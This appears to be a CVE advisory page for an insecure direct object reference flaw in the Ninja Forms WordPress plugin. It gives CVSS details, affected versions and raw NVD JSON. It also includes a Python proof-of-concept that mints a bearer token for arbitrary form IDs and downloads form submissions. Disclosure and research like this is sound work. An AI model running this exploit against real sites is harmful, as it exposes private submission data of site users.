Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-11924 CVSS 7.5 HIGH

CVE-2025-11924

Published: 2025-12-17 07:15:58
Last Modified: 2026-01-05 15:23:54

Description

The Ninja Forms – The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.13.2. This is due to the plugin not properly verifying that a user is authorized before the `ninja-forms-views` REST endpoints return form metadata and submission content. This makes it possible for unauthenticated attackers to read arbitrary form definitions and submission records via a leaked bearer token granted they can load any page containing the Submissions Table block. NOTE: The developer released a patch for this issue in 3.13.1, but inadvertently introduced a REST API endpoint in which a valid bearer token could be minted for arbitrary form IDs, making this patch ineffective.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:* - VULNERABLE
Ninja Forms plugin < 3.13.1
Ninja Forms plugin = 3.13.1 (incomplete fix)
Ninja Forms plugin <= 3.13.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11924 PoC - Ninja Forms IDOR Vulnerability # Target: WordPress site with Ninja Forms plugin < 3.13.2 def get_bearer_token(target_url, form_id): """ Obtain bearer token for arbitrary form_id via the vulnerable endpoint """ endpoint = f"{target_url}/wp-json/ninja-forms-views/v1/bearer" headers = { "Content-Type": "application/json" } data = {"form_id": form_id} try: response = requests.post(endpoint, headers=headers, json=data, timeout=10) if response.status_code == 200: return response.json().get("token", "") except Exception as e: print(f"Error obtaining token: {e}") return None def get_form_submissions(target_url, form_id, token): """ Retrieve form submissions using the obtained bearer token """ endpoint = f"{target_url}/wp-json/ninja-forms-views/v1/forms/{form_id}/submissions" headers = { "Authorization": f"Bearer {token}" } try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: return response.json() except Exception as e: print(f"Error retrieving submissions: {e}") return None # Usage example if __name__ == "__main__": target = "https://vulnerable-site.com" form_id = 1 # Arbitrary form ID # Step 1: Get bearer token token = get_bearer_token(target, form_id) if token: print(f"Obtained token: {token}") # Step 2: Retrieve submissions submissions = get_form_submissions(target, form_id, token) if submissions: print(f"Found {len(submissions)} submissions") print(json.dumps(submissions, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11924", "sourceIdentifier": "[email protected]", "published": "2025-12-17T07:15:57.750", "lastModified": "2026-01-05T15:23:54.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ninja Forms – The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.13.2. This is due to the plugin not properly verifying that a user is authorized before the `ninja-forms-views` REST endpoints return form metadata and submission content. This makes it possible for unauthenticated attackers to read arbitrary form definitions and submission records via a leaked bearer token granted they can load any page containing the Submissions Table block. NOTE: The developer released a patch for this issue in 3.13.1, but inadvertently introduced a REST API endpoint in which a valid bearer token could be minted for arbitrary form IDs, making this patch ineffective."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.13.1", "matchCriteriaId": "16FE3FFA-18CE-46B5-8840-137710BBDD56"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3415563/ninja-forms", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4240cdae-9122-443e-8a7e-3369e74384be?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}